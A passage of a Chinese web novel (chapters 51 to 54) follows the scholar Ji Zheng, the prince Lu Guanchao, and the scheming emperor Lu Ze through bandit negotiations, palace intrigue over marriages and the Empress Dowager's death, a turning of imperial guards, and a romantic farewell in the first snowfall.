季铮笑道,“看各位是英勇之辈,想来是周遭被逼上山的绿林好汉吧。” “是又如何。” 季铮又道,“世道艰难,我闻你们口音不似云州人,更似应州人,而应州连片苍山,又是冬日,料想是没地没粮才铤而走险的缘故吧,这样,也要到年关了,若各位愿意跟着我,那人给你们多少银子,我给=双倍,” 人群中有人震惊道,“双倍?!” 莫关源不禁动摇了。 “你说的好听。”莫关源道,“待我们告之,变卦了怎么办。” 他身后,几个重伤的汉子没想这么远,哀求道,“大哥,我家孩子还没钱吃药呢,咱们等不起啊!那姓董的连个定钱都拿不出来,谁知道他是不是真心的,再说咱们没办成啊,要是被降罪的咋办!” 季铮恍然,“原来是董县令,你们点真背。” 莫关源顾不上骂弟兄们嘴快,问季铮道,“何处此言。” 季铮娓娓道来,“是这样,董县令作恶多端,欺我家妹,我意图状告董县令,不成想遭他察觉,痛下杀手,这等奸人,可信乎?” 不知是不是戳中莫关源的痛处,他不再恶言恶语,“可,他说是珏王在此仗势欺人,叫我们为民除害,事成便给我们安排差事……” “此言差矣。”季铮道,“你们看看,咱们珏王殿下就在这,这身上穿的戴的,哪一样金贵了,若他当真如你们所言,怎肯屈居草庐,正是董县令等人陷害,叫他无法复位啊!” 陆观潮在一旁扮作黯然神伤的模样。 趁莫关源还迷糊之际,季铮接着道,“这正是我不惜重金也要结交诸位的愿意,诸位草根出身,却敢为一腔肝胆行刺皇室,此等血性,季某佩服。” 莫关源只觉有一股热血流过四肢百骸,全身都热起来了。 自昧着良心上山为匪后,他遭尽了白眼,不得已背井离乡,远赴云州,战战兢兢的躲着,还得在云州本地土匪脚边讨生活。 季铮见他彻底放下怨怼,趁热打铁,从怀里掏出刚装上,还没捂热乎十两银子,塞给莫关源,又挤出一把泪, “听小兄弟说,家中还有孩子病着,我心甚悲,来拿着,就当我请各位吃酒了。” 莫关源颤颤巍巍的接过,一众人身上还有伤,方还疼得龇牙咧嘴,此刻纷纷愣住,盯着莫关源手中的钱袋子,久久没人开口。 钱,能换粮,能换药,粮和药,能救命。 他们饥寒 交迫不怕,怕的就是跟着自己的亲人妻儿受苦。 那孩子病着的汉子率先动作,拖着身子朝季铮跪下,结结实实的磕了个头,“季公子救命之恩,没齿难忘,往后我莫硫的命,全听季公子差遣。” 有莫硫起头,一众人陆陆续续的壮起胆子表忠心,唯独莫关源,仍盯着钱袋子。 季铮拍了拍莫关源的肩,道,“我不逼各位,即便不愿也没关系,我不过一介庄稼人,不信我也是正常,只是各位告知我董县令的阴谋,这钱理应收下。” 众人都偏向莫关源,等莫关源给一个准话。 顿了顿,莫关源拆开钱袋子,露出白花花的银子,身后人瞧见,眼中不禁冒光。 那可是银子啊,他们一家老小的命能不能活过这个冬天,全靠这几两银子。 莫关源取出一块,将剩余的还给季铮,“我们只要莫硫孩儿的药钱,公子饶我们不死,已是大恩。” 季铮挑了挑眉,再看其他人,都忍着贪心,连连附和。 他道,“莫壮士的意思,是不愿了?” “并非。”话已至此,莫关源也就不再隐瞒,道,“我们的确是从应州来的。” “应州能种粮食的地本来就少,应州刺史霸占民脂民膏,私自大量购田,我们整个村子的田地都被他抢走,分文未给,只好为匪讨口饭吃,可云州山上遍是被逼的土匪,我们混不下去,才想来云州碰碰运气。” “云州有董县令,与匪勾结,他找上我们,说只要刺杀珏王,就给我们田地官职,是我贪心,识人不淑,公子不计前嫌拉拢,我们哪有不愿的道理。” 尚且还是有良心的。 季铮问,“这么说来,你们才做匪不久。” 这次不等莫关源说话,莫硫道,“要不是日子实在过不下去了,谁愿意做这天打雷劈的事。” 季铮又把钱还回去,“既然给了你们,就是你们的钱了,怎么能收回来?” 莫关源看着又回到自己手里的钱袋子,心道真是好实诚的一人! “不过钱不是白给的。” 莫关源洗耳恭听。 季铮道,“我要你们回去,就说季铮和珏王已死,尸身丢入深山,被子兽山的豺狼吃了个干净。” 他说着,撤下自己和陆观潮身上一人一块步料,就地取材,沾了沾莫关源被揍吐出来的血。 “他要是非要尸体,就把这个给他。” 陆观潮看到这,即使提前知道了季铮脑里精巧法子不少,还是被他三言两语十两银子,便拉拢一众土匪的壮举惊到了,心下对季铮的崇拜又多了几分。 这些土匪还有家室,并非亡命之徒,季铮以银两为先,结交为辅,这倒不难办,难的是季铮在短短几句话的时间里,就把他们的来历猜的八九不离十,还能憋住愤怒恐惧,冷静对着险些害死自己的人夸赞。 书中记载,克己制欲者,为君,喜则和而理,忧则静而理者,为圣。 其心胸宽阔是陆观潮做不到的,着实巧妙。 陆观潮在记录季铮才能的小本本上,添上一句“能言善辩”,不对,是“辩才纵横,多智近妖”。 莫关源一众人不愧是习武的,身体素质就是好,听季铮安排完,相互搀扶着爬起来,说身上伤痕累累有说服力,要连夜去县令府。 季铮看他们一身伤心里过意不去,搜刮了陆观潮身上剩余的钱两当医药费才罢休。 好不容易收拾了血迹斑斑的现场,季铮长呼出一口气,“你身手真不错。” 陆观潮沾沾自喜,“也就一般吧,勉强自保。” “那个——”季铮眼睛亮亮的,“你能不能教我。” 51.第 51 章 大都 陆泽的身子时好时坏,没到换季总要闹上一场才歇。 那日晕倒后,有李不言连夜诊治,后又日日调理,如今已经大好。 殿内,陆泽披着内务府新赶制出狐皮大氅,面色红润,丝毫不像病了一场的人。 李不言照例来号脉,凝眉思索片刻后,连日严肃的神色缓和几分。 他整理衣衫,起身收拾药箱,道,“圣上身子已无大碍,体内积攒的毒尚有回旋余地,前提是莫要动气。” “如此便好。”陆泽笑了笑,大手一挥,福寿禄屁颠颠的迎上来替人收拾。 李不言没推辞,道了句多谢,接过收拾好的药箱背上,“臣再为圣上换一份解毒的方子,若无吩咐,就先告辞了。” “李太医留步。”陆泽叫住李不言,“朕听闻你家中有一妹妹?” 李不言心里咯噔一声,表面不动声色应道,“正是,前些日子才接来,这几日在城中盘下了一间药铺看诊。” 陆泽点头,“功成名就也不忘亲人,李太医真乃朝中表率,家妹竟也会医,当真女中豪杰。” “圣上谬赞。”李不言不咸不淡的接道,“家妹顽皮,爱抛头露面,实在担不起圣上夸赞。” 陆泽嗔怒,“李太医此言差矣,依朕之见,李小姐有江湖气节,一个月后朕意欲办寿辰,届时全大都的适龄男儿女娘皆会到场,不妨带李小姐去玩玩,认识些朋友。” 是认识朋友,还是找夫君? 李不言心中不满,却不敢表露出来,只得应下。 帝王多疑,连臣子家中事也要插手。 李不言告退后,福寿禄给人磨墨,就听陆泽道,“你可知我为何叫李不言的妹妹参加吗?” 按理说李不言并非朝中重臣,他的族妹又没有远近闻名的贤德好名声,要不是陆泽主动,按理是搭不上边的。 福寿禄眼珠子一转,打着哈哈道,“奴才愚笨,斗胆猜测,是李太医家中无女眷长辈,圣上担心李太医不会,想替她张罗亲事?” 陆泽笑骂,“朕何时成家翁了?” “哎呀。”福寿禄见陆泽不是真生气,赔着笑拍了两下自己的嘴,“瞧奴才这张嘴,真没出息,李太医才吩咐了圣上不能烦心,就说出这些话来,该打。” 陆泽才以结党营私的名义处置了自己亲舅舅孙国舅一家,连带一众参与官员,不管真参与还是加参与,反正只要是陆泽看不惯的,都借此一块砍头了。 除非朝中实在动不了的两朝元老,不过也不急,没了陆观潮和孙太后,镇南候也在幽州,有胆量又有能力的不过尔尔,朝中终于是他一人的朝堂了,想什么时候处置便什么时候处置。 当日午门外脑袋一个一个掉,据说光是打扫都打扫了十几日,陆泽远在圣宸宫,都仿佛能听到叫喊声,如听仙乐,批阅奏折时多批了几本,哪怕奏折里尽是一些老家伙喊不平,也没受影响。 他要什么平不平的,他要的是天下啊。 身上的担子卸下来,身子自然就好了。 正巧这时董何维上奏陆观潮已除,陆泽心情颇好,也乐得和福寿禄多说几句,“你说的并无错处。” 他道,“母后还在朕身边时,全权管控朕的后宫,非孙家女不得入宫,后宫如今孙家独大,孙家既然倒了,他缺的部分总归要补上啊。” 前朝后宫密不可分,他选的不是妃,而是未来自己的心腹新臣。 福寿禄知道陆泽办寿辰一部分为了选妃,可关系李家小姐什么关系,李家小姐一无可拉拢的家室,二无顶顶出名的名貌,叫她来参加,没用啊。 陆泽继续道,“若光是选秀入宫,恐不能彻底叫他们彻底忠心,若有姻亲维持,必万无一失。” 寿辰一是为他相看,二是给这些小辈赐婚了。 李不言是他的近臣,人人皆知,李不言的妹妹,家室不高是不高,可人哥哥可是能面见圣上的! 能娶李家小姐,岂不是多了一条接触圣上的门道,多大的殊荣,与其同时,圣上也能借李家小姐监视臣子一家,还得了一个君臣和睦的美名,三赢之局。 “圣上呀。”福寿禄藏住眼中算计,扮出一幅懵懂的样子,皱着脸道,“奴才听不懂。” “听不懂?”陆泽被他逗笑了,随手丢给他两颗剥好的核桃,“赏你了,多补补脑子。” 福寿禄笑嘻嘻接过,“谢圣上赏赐!” 此时,门外传信的小太监紧张的进殿,“圣……圣上……太后出事了……” 处置太后的旨意正是陆泽下的,陆泽当然知道出事了,他等的就是这消息,可当着一众人的面,他还是装作悲痛欲绝的神色,颤颤巍巍的起身。 “你——你说什么!?” 旨意是背着福寿禄下的,福寿禄真当是意外,惊吓连连,唯恐圣上才好起来的身子又败下去。 小太监抖着身子乘上密报,“仪仗遭遇山崩,太后娘娘没能逃出,崩逝了……” “什么?!” 陆泽浑身一抖,哀嚎了几声“母后”,眼睛一闭,时隔多日又晕了过去,他晕的多了,早已烂熟于心,演得滴水不漏。 才出宫门的李不言又被请回来,他长叹一口气,任劳任怨的赶回去。 天气愈发寒冷,季铮这几日特意给季秧和陆观潮一人买了一件棉衣,又看赵大爷赵大娘衣衫单薄,没忍住给他们也捎带上。 赵大爷赵大娘收到棉衣,又是骂季铮乱花钱,又是欣喜的摸着布料,季铮劝了半天才叫他们收下。 董县令在得知陆观潮和季铮死后,便心大的没追究,倒也没来找季秧的事,许是眼前花红柳绿不断,早将人抛到一边去了。 茶坊那边,怕被人察觉,为了谨慎起见,季秧没去,只每隔几日李芸送几本账本来给她练手。 入冬后,地里的庄稼也不必时刻上心了,三人日日大眼瞪小眼没事干。 不对,是只有季铮没事干。 季秧看账本之外,重操旧业,捣鼓生辰时季铮送的织机。 生辰之后她鲜少再劳累,这样白日偶尔织织布,权当打发时间了,运气好了卖给村里的姐妹换点零花钱。 而陆观潮说这几日便要准备回大都 了,问季铮要不要一起。 季铮私下问了季秧的意思,小姑娘虽没明说,但话里话外是不舍地离开家,也是,这才安顿下来,她也找到了伙计朋友,一时不愿意也是难免。 季铮便道,“我暂时不去了,季秧不想,茶坊那我也有要与宋娘子商议的生意,陈昇还帮我造着东西,再者,总要收获了这一季度的庄稼再说,” 这回陆观潮倒没强求,平静的点点头,“这样也好,如今陆泽以为我死了,除掉了我和太后,正是提拔近臣处置老臣的时候,人心惶惶,大都此刻不安稳,等风波平息了我就来接你。” 左右不过半个月的时间,为了季铮的安危再舍不得也得舍得。 陆观潮这样想,还是不确定的问,“你愿意去幽州的对吧,我答应了你请苍山居士为你行冠礼。” “自然。”季铮笑了笑,“我可不会少占你便宜。” 有季铮这么一句话,陆观潮就放心了,专心致志的准备自己走后季铮会用的上的物件。 比如干柴就摞满了厨房,季铮那日进厨房,吓了一跳,“你这是把半个山都砍完了。” 陆观潮一本正经的回答,“没有。” 总而言之,全家现在只剩季铮一个闲人,连鸡都被他烦的不敢打鸣了。 就在他无聊到要长蘑菇时,季铮终于想起来向陆观潮求教一事。 陆观潮一懵,还半晌才想起他说的是什么,“你不是开玩笑的?” 见季铮赤城的目光,陆观潮无奈,“好吧。” 可在他眼里,季铮再怎样也是读书人,像瓷娃娃似的,他连让人干活都害怕,这该怎么练啊。 陆泽还有一大堆事要处理,前些时候杀了这么多人,又连着两位皇室不在,朝中臣子总得安抚。 他没敢晕过长时间,过了一夜装作迷糊的睁眼起身,抓住一直伺候的福寿禄问,“如今几时了?” 福寿禄发现圣上醒了,大惊,忙答道,“回圣上,这才寅时二刻。” 陆泽微微出神,“已是寅时了。” “圣上?”福寿禄试探着问,“您可好些了?” 陆泽恍惚道,“朕做了一个梦,梦见母后。” 福寿禄听见这一声母后不敢出声,生怕说出什么不该说的惹陆泽忧心。 “你不必小心。”陆泽苦笑道,“朕已经放下了,母后入梦告诉朕,社稷为重,君为轻,为君者,怎可因家事疏忽朝政,朕得母后教导,心感愧疚,这才明白母后的良苦用心,为报答母后教诲,朕怎好再卧床下去?” 福寿禄已是鼻涕一把泪一把,哭道,“圣上,您受累了。” 起居使就守在一侧,闻言下笔如有神,速度飞快。 显化七年十一月上旬,太后孙氏崩逝,帝王大悲,卧床不起,得太后娘娘入梦点化,方且醒悟,痛呼,“母曰社稷为重君为轻,怜子心切,朕今知而悲切,乃以此身报母恩,” 陆泽眼眸一斜,想必他今日这番话,不出一日,便会传遍大都。 有这铺垫,他来日选妃,亦可借着母后嘱咐为由,做全了孝子名头。 52.第 52 章 被季铮压在身下时,陆观潮才幡然醒悟。 他想错了,季铮与他印象中的读书人不一样,很不一样! 至少他印象里的读书人不可能行云流水的躲过他的进攻,且迅速找准时机反击。 季铮非但不是瓷娃娃,更像铁傀儡,狠,快,绝,手下不留情。 方才季铮袭来时,那招式带着誓死不罢休的狠劲,真把陆观潮吓了一跳,这才一时不察被季铮撂倒在地。 他看不出来是哪门武学,毫无章法,却又处处精巧,只攻不防,一招一式疯了似的袭来,不给他的反应机会的同时,也不给自己留后路,狠辣极了,和季铮的形象完全不符。 “怎么样?” 季铮额角冒汗,他胡乱用袖子擦了一把,还喘着粗气,“还要把我当个孩子吗?” 陆观潮这人不厚道,说好要教他的,弄半天像哄三岁稚童似的哄他玩,压根没当他真要学,连季秧都看出奇怪了。 一句“阿兄,陆先生,你们在表演什么杂技吗?”更坚定了季铮心中猜想,他当即来了气,找理由支走季秧,摩拳擦掌要和陆观潮打一架。 他前世好歹也是摸爬滚打过的,一个孤儿没父母亲人庇佑,受了委屈只能靠自己,挨得打多了,也悟出一套门路。 彼强我弱,先发制锐,尚可一战。 季铮一向遵循的是这套原则,大多时还是有用的,就比如这时,看着陆观潮震惊的脸色,实在爽快。 陆观潮直愣愣的看向季铮,“你跟谁学的。” “我自己。”季铮说着就要爬起来,陆观潮以为他要走,忙揽住季铮的腰。 季铮重心不稳,刚起来半个身子又栽到陆观潮身上,两人的距离更近了。 “这不是好路数。”陆观潮严肃道,“我教你别的,这些以后千万不能用了。” 季铮来不及说他动手动脚,被这一句砸下,不满道,“为何,哪来不好了。” 陆观潮和他争论,“今日是我,若是他人,发觉你瞻前不顾后,轻易便可找到空子。” 这倒是,他前世少数几没打过,就是像陆观潮说的这样被人搞偷袭。 季铮不是爱固守己见的性子,察觉不对,忙虚心请教,“那我该如何?” “你用得久了改不过来,我先教你一些自保的……” 陆观潮抬头,这才发现两人距离极近,近到陆观潮能感受到季铮的呼吸喷在自己脸上。 面前的人睫毛纤长,一双眼一眨不眨的看着他。 陆观潮只觉喉间一紧,顿时整张脸涨红。 看他的脸色,季铮也终于后知后觉这姿势尴尬,拍了拍陆观潮的手,撑着地面起身。 季铮起身,又伸手将陆观潮拉起来。 两人还没开口,就听院外响起急匆匆的马蹄声,回头望去,竟是赵年,身后扬起一连串灰尘,可见是快马加鞭赶回来的。 天色近晚,附近没人,赵年激动之下直接喊出口。“殿下!季生员!!” 临近院门,他看到两人,面露欣喜,忙勒马停下,麻利的滚下骏马,就要跑到陆观潮身边,不料日夜舟车劳顿,方一落地脚下不稳,一个踉跄慌张的扑倒在地。 “赵年?” 季铮还当自己看错了,仔细看清来人后,赶紧迎了几步,搭把手把赵年扶起,“你回来了。” “季生员。”赵年尴尬的爬起来,掸了掸身上的灰,笑道,“是我莽撞,见笑了。” 陆观潮藏起脸上红晕,轻咳一声问,“怎么回来了,幽州出事了?” 赵年摇摇头,又点点头,末了他挠了挠脑袋,“是侯爷叫属下回来的,幽州情况有些复杂,属下慢慢讲,不过既然看到殿下和季生员你们人,一切好说。” 董县令办成了差事,正沾沾自喜,以为自个要飞黄腾达,却迟迟等不来大都的消息,不由心急。 难不成是圣上贵人多忘事,忙晕了头,把他的事忘了? 必定如此,可这怎么行。 他费神费力找人,干出这罪孽深重的事,连煞神报复都不怕了,到头来竹篮打水一场空? 于是董县令左思右想,好不容易想出个绝妙的法子,不如再上奏一封折子,提醒圣上,可圣上多忙,怎会看他的折子。 这时董县令才想到季铮这茬子事,对啊,他借着献策的名义不就好了,何况这季铮已经死了,也不怕抢功劳有人告状了。 他一想可行,忙不迭的写折子。 与此同时,王介夫固执的毛病名不虚传,季铮劝了也没收敛,依旧锲而不舍的日日上折子,总算有一封被陆泽注意到了。 福寿禄拿着两份折子递上,“圣上,这两份都是云州陇县的。” “哦?”陆泽抿了一口清茶,眼神飘过去,一封是他为在孙国舅面前蛰伏,赶出去的礼部侍郎王介夫,另一封则是刚刚立下大功的董县令。 王介夫上折子是为什么他知道,前几次的折子他都看了,无非事告董何维的状,为某个受委屈的小生员说好话。 那日因董县令反水暴露陆观潮,他暂时按下了,心中清楚的很,按王介夫的性子,不给他一个交代是结不了的。 王介夫此人他记忆不浅,朝中一顶一的刺头,没人敢惹,惹到了便日日上折,非要把人告到求爷爷告奶奶才行,有时候气急了当朝骂他也是难免的事。 任是哪位帝王来了,碰到这人都得一个头两个大,毕竟没人能被一个臣子当众指着鼻子骂,面子还能挂得住吧。 可王介夫出身高,背后家族为官者众多,错综复杂,动一发而牵全身,他古板倔强,不搞结党营私,还算合心意,尚可一用,是该找个机会调回来了。 陆泽率先看了王介夫的折子,这次不同,折子中哭道,那位颇有才干的季姓生员,离奇失踪,定是被董县令残害致死,求圣上做主。 “拿来另一个。”陆泽头疼,倒不是头疼失去良才,而是头疼王介夫又要闹了,这董县令才替他做了脏活,怎能现在就罚。 董何维倒没写叫他厌烦的话,马屁拍的贼溜,不过也在信中也提到了一季姓生员。 陆泽左右一对, 竟是同一人。 董何维信中道,季铮造出了新辕犁,更加轻便,比旧时辕犁快上五倍不止,据坊间传闻,此人还会制冰,可惜与珏王交好,派去的人愚笨,已与珏王一同处理了。 陆泽神色一顿。 新辕犁,制冰,若所言为真,那可比劳什子董何维王介夫重要多了。 董何维附带了新辕犁的临摹图,直看的陆泽大惊,他不动声色传旨召来工部尚书。 工部尚书诚惶诚恐的接过临摹图,一眼看去眸光大亮,激动的浑身都在抖,他连连称赞,佩服之情溢出,遮都遮不住。 这工部尚书一向沉默寡言,能让他如此失态,看来是没准了。 工部尚书恨不得把这图带回去,仔细研究一番,他喜道,“恕老臣失礼,这位作图者为何人才,真是巧妙!” 何人,人已经被那最蠢的董何维杀了! 陆泽气得吐血,恨不得将董何维千刀万剐,这蠢货,敢胆大包天的对他藏心眼,一次就罢了,还敢瞒第二次?! 现在人死了,又来要挟他,当他是任人揉捏的面团吗! 还与陆观潮交好,那陆观潮什么东西他难道不清楚,一个情感漠视的石头人,从小到大都没见对人有过好脸色,别说交友了,不被别人打死就是陆观潮收敛。 还交好,怕不是为了独占功劳,杀人灭口找到借口罢了。 眼皮子薄的畜生,害了他的良才,就这不赶紧把辕犁献上,还有脸面藏着掖着讨要赏赐? 这边工部尚书朝他讨人,“老臣斗胆,能不能请这人来工部做事,能做出此物之人,必定有更大的作为。” 这陆泽能不知道,他深呼吸一口气,忍者脾气把人支走,“朕会考虑的。” 工部尚书对着图纸恋恋不舍,“那这图……” 光有个图有什么用,陆观潮摆摆手,“你且先走,朕再做安排。” 工部尚书只得一步三回头的走了。 待人走后,陆泽转而问福寿禄,“这人是什么来历。” 福寿禄趁陆泽问工部尚书时已经查清楚,历来榜上有名的考生都会记载,更别提是廪膳生。 “季氏季铮,陇县吴阳镇人。”福寿禄道,“家中皆是平头百姓,家贫,显化二年的廪膳生,答卷漂亮,一度传到大都。” 再结合王介夫的内容,平头百姓,上不起私塾,开蒙后多是自学。 如此才能,还是个一干二净的纯臣,竟在他手下受此磋磨。 陆泽心都在滴血,不禁更怨恨董何维。 他暗道,金银财宝,高官厚禄,这人怕是没命享了,不如就此赐死吧。 当然,这些都是季铮提前和王介夫对好的说法,季铮早就猜到董何维得了图纸不会善罢甘休,而董何维心气高,定然不会在意眼前这点名声,最大的可能就是做敲门砖。 有一就有二,他会反水上报陆观潮没死,也未尝不会再上报一次。 这一招以退为进成功。 而这一切,季铮还无从得知,三人围坐桌前,气氛沉重。 53.第 53 章 侍卫处。 今日不是赵德值班,一同闲着的正是秋茹与崔伯崖。 与其说是正巧,倒不如说赵德有意为之更确切。 秋茹百无聊赖的把玩着指虎,她是侍卫所唯一一个女子,陆泽为了在太后身边安插眼线特意招进来的,如今不需要眼线了,处境十分尴尬。 一来若像其他侍卫一样启用,毕竟是个还没亲事姑娘,跟着圣上有失规矩,恐传什么闲话。 二来要是罢职,确实可行,但秋茹不愿意,她家里还有老父老母要养,怎么肯失去这赚钱的活计。 这几日,陆泽想出来新办法,重操旧业,秋茹跟着太后,在大大小小的宴席露过面。 太后女史,虽攀不上高门第,但配给寒门贵子绰绰有余。 陆泽意图派她监视某位良臣。 秋茹正苦恼,她还不想这么早就入后宅,练武都要偷摸练,索性陆泽还没有人选,她还不至于自怨自艾。 崔伯崖不同了,还有闲心看书,对着书上的武法比划。 “烦死了。”秋茹将指虎狠狠撂下,“不若咱们把国库盗了,分完钱各自回家去。” 赵德淡淡瞥她一眼,崔伯崖吓了一跳,“秋茹,你气疯了不成?” 秋茹气道,“疯个狗屁。” 她看向赵德,微抬下巴,“你当日说的还作数吗?” “当然作数。”赵德温和一笑,“考虑好了?” 崔伯崖略感无措,放下武书就要开溜,被秋茹发现,“崔伯崖,你要干什么去?” “我想起马厩里的马还没喂,去走一趟。”崔伯崖打着哈哈,就要闪身离开。 秋茹眼疾手快抓住他,“入职时,不是你亲口和我说,咱们时一家人要相互照样?” 赵德也道,“马厩我今日去看过一趟了,已经喂过了。” 崔伯崖脖子一凉,“我那不是看你是个姑娘家,想照顾你吗,好吧,我便直说了,什么事都行,可这事,恕我不敢一起。” “呸!”秋茹甩开手,崔伯崖被这力气推得加下不稳,扶住书架才站稳, 就听秋茹道,“不就是跟主子,这个主子能跟,怎地别的就不能跟了,他做事不好,我不中意,难道就许他抛弃我们,不许我们抛弃他?” 秋茹冷哼一声,接着道,“你是不是害怕那些鬼啊神啊的谣言?那些都是胡编出来吓哭人的,要真的有鬼神,为什么不把赐下钱财,叫百姓衣食无忧?” “秋茹,慎言!”崔伯崖无奈道,“你这话要被别人听见,传到圣上耳里,几个脑袋也不够掉的,再说,我并不是怕这个,只是圣上乃我主,背主的事我干不出来。” 秋茹不服气,“还干不出,你入职前不就是镇南候的的人吗,我记得你家里也不富裕,听说最近要张罗结亲,圣上给的几个枣够你给彩礼吗?” “你!” 崔伯崖脸色通红,“你个姑娘家家,怎么牙尖嘴利的。” “秋茹所言不无道理。”赵德开口道, “珏王殿下虽名声不好,但实打实的战场厮杀过的,不提他到底爱不爱戴下属,单看他每年不顾圣上猜疑,都要会回大都放低身段讨要军粮,咱们刺杀他的任务接过多少,有一次成功吗,他却未直接杀死我们以绝后患,便可知他与传闻大不相同。” “这倒不假。”崔伯崖叹了口气,想起曾经几次受旨在官道截杀。 珏王功夫极高,三两下便会打退他们,却不伤他们一丝一毫,怕惹陆泽不快而讨不到军粮,便次次忍耐,可见肚量之大。 崔伯崖早就高看珏王了,可…… 他又道,“流言蜚语害人,我又怎会不知,能得一个把将士的命放在眼里的明主,着实难得,可珏王殿下已死,你我在此谋划,有什么用。” 秋茹这才反应过来,顿时泄了气,又坐回去玩指虎,“早忘了这人死翘翘了,可惜了,我只有去抢国库逃跑一条生路了。” 赵德丝毫不慌。 他眸光微亮道,“若我说。珏王殿下没死呢,你们是不是就肯跟着我干了?” “什么?!” 两人双双出声,面目震惊。 秋茹道,“你可别糊我,那珏王依然入土了,还能挖出来不成?” “是啊。”崔伯崖道,“统领,无论如何,只要你开口我们怎会不答应,不过犹豫而已,你要是为了哄我们就诓骗,这样就不好了。” 赵德笑了笑,“我保证不是骗你们,若珏王真的没死,你们愿不愿意一起。” 话已至此,崔伯崖怎好再说出拒绝的话,他与秋茹对视一眼,郑重点了点头。 既然赵德保证了,那珏王也并非不堪重任的人,他们干一次,又能如何。 季秧专心致志的在房里打着算盘。 赵年感慨,“这才多长时候,季姑娘竟已经会打算盘了,属下离开的这段时候,看来错过不少有趣的事啊。” 季铮苦笑,不知该从何和他讲起,“岂止有趣,明明是苦恼更多些。” 一个董何维就够他喝两壶了干脆谁都不说,等赵年后面问陆观潮吧。 赵年想问究竟发生了什么,怎地愁云惨淡的,但听到陆观潮催促便作罢,“直接说吧,如今没有闲杂人等。” “哦哦,是。”赵年回神,道,“镇南候令我来报,希望殿下早日回大都。” 陆观潮了解,“这我清楚,即使侯爷不提,我也要准备了。” 赵年看着两人挨得极近的身子,一时迟疑,最终还是道,“镇南候的意思是,最快今明两日出发。” 这话一出,陆观潮与季铮皆是一顿,尤其是陆观潮,僵硬着身体一动不动,似乎是还没理解赵年这句话。 他是做好了离开季铮的准备,但他的准备里,不是这么快就离开啊。 季铮问道,“今明两日,这么急吗?” “是。”赵年抿了抿唇,道,“侯爷说,他在朝中安排好了人手,可以接应,而圣上忙碌新臣子和一月后的寿辰,必定腾不开手盯着,至于为何越快越好……” 赵年凝重了几分,连带着几人都严肃起来。 赵年道,“这已是十一月,辽军退居草原,冬季没草缺粮,如今有了消停的意思,若按照这个情况下去,今年大概率是能回大都过年的,左右不过两个月的时间,殿下需要造作筹备。” “圣上不会轻易将这件事搁下的,来年三月开春,辽军必定卷土重来,得赶在之情求到军粮,连着两次丧礼,又有帝王寿辰,恐怕户部拿不出这么些银子,得好好扯皮一段时间。” 这些陆观潮都清楚,他沉吟片刻,没立即回答,而是先看向季铮。 季铮正认认真真的听赵年说话,偶尔附和几句“的确如此”。 无端的,陆观潮有些心酸,季铮还真对他要离开的事无动于衷,好歹也皱皱眉啊。 只有他一个人扭 捏,岂不是显得太自作多情了。 “所以。”赵年说着,把揣了一路的珏王印呈上,“时间太紧了,还望殿下好好考虑,最好明日便启程,侯爷的人在大都外候着。” 陆观潮随身带着两件宝物,一件是虎符,另一件是珏王印。 两件虽都有调令全军之力,但终归是有些不同的。 珏王印除了幽州他的部下,还能调令他养的暗卫私兵,仅有陆观潮一人才能用,而虎符则是用以调令大都以外的全部兵力,只要拿在手里,谁都能用。 这两件各有各的厉害之处,无非是一个明着厉害,一个暗着厉害。 当日他初到陇县,曾将珏王印交给董何维用来伪造尸体,后来辗转送到大都,又被叶萧禾带到幽州,如今再次回到陆观潮手里。 陆观潮摩挲着这块玉,微微出神。 季铮看出他的情绪,率先道,“今日天色不早了,赵年你先歇下,待殿下仔细想想。” “哦。”赵年抓了抓头发,傻傻一笑,“正好我也累了,多谢生员。” 大抵是季铮面相惹人欢喜,比起殿下,他在季铮更容易歇下正经。 季铮笑道,“你的被褥还在,水缸里有水,我与殿下再多说几句,你也熟悉,就不招待了。” 赵年忙告退,“不必麻烦,我自己可以。” 开玩笑呢,他怎么敢让季铮招待,殿下不得打死他? 赵年拍着胸脯溜走了。 “陆观潮。”季铮看人走了,才对陆观潮道,“你到底在想些什么,还有什么要顾虑的吗?” 陆观潮直直看着季铮,不发一言,却好似道尽千言万语。 季铮心底漏了一拍,接着问,“你在担心我吗?” 不是他自恋,只是陆观潮那一双眸子里全是他的身影,他没控制住,没过脑子就问出来了。 陆观潮久久没回话,季铮也不急,就这么等他。 冬日的夜刺骨的寒,窗户没关紧,寒风呼呼的吹进来,却吹不凉陆观潮一颗炽热的心。 好半晌,陆观潮才道,“我要走了。” 季铮点头,“我知道。” 烛火闪了一下,陆观潮的眸光也闪了一下,波光粼粼的,像海,那种夕阳底下翻出鱼鳞的般那样。 季铮没见过大海,但此刻,他觉得陆观潮这眼睛比海好看千百倍。 陆观潮道,“你会想我。” 与以往不同,这不是疑问句,平平淡淡的从陆观潮的嘴里冒出来。 “我会。”季铮也破天荒的,不是源自哄人,而是发自内心的回答。 陆观潮终于笑了,很浅的笑,像是被人发现了就会收走一切好运似的,偷偷地笑。 他道,“我也会想你。” 季铮浑身一麻,闪躲陆观潮的目光,起身去关窗。 可这目光如芒在背,就是躲不开,这手也是,迟迟抬不起来关窗子。 直到一片冰凉拂过,陆观潮行至他背后,自他身后抬手扶住窗子。 季铮脑中嗡嗡作响,耳边骤然喷上一口热气。 “你看。”陆观潮道,“下雪了。” 窗外,不知下了多久的雪,柳絮大的雪花落下,苍白一片,映的黑夜白了几分。 雪花呼呼的灌进来,不多时堆积了一小片,两人发间沾了几片,远远看去宛如白发。 季铮穿越到大周的第一场雪,无声无息的下了。 54.第 54 章 第二日。 陆观潮一早就起了,确切地说,他一晚上都没睡,整夜都悄悄看着季铮。 或许是他的目光太过明显了,竟惹得季铮也睡不安稳,毫无征兆的睁开眼,与陆观潮看他的眼神正好对上。 “抱歉。”陆观潮移开脸道,“我是不是烦到你了。” 季铮边摇头边爬起来,“倒也没有,我今夜本来也没多少睡意。” 大半夜的也没什么话说,两人沉默片刻。 还是陆观潮打破冷寂,“我走后你打算怎么办?” “打算啊。”季铮略一沉吟,道,“你说大都正缺人手,王大人也道大都的族亲来信称会想法子调他回大都。” 陆观潮一下子就猜到,“所以你才会和王介夫接连传信状告董何维?” “正是。”季铮道,“董何维做了太多错事,让他这么轻松的死掉,恐难平众怒,我要他带着自己的罪名,清清楚楚的死,也避免误导后世。” 陆观潮应道,“那就听你的,我不出手,可需我帮忙?” 季铮道,“不必了,你已经帮了我不少,若不是有你给我联通大都,我不知大都情况,也不敢贸然走这一步。” 毕竟告状嘛,得看准了时机,告的好得偿所愿,告不好惹怒圣上反而得不偿失。 季铮可不会透视人心,幸好陆观潮在大都圣上身边有人,他能揣摩出圣上心思,卡准时间上折子。 “行了,我一切都好说。”季铮问道,“大都这情形,圣上有时间全心全意的对付你了,你要怎么做。” 陆观潮笑了,“你是在担心我吗?” 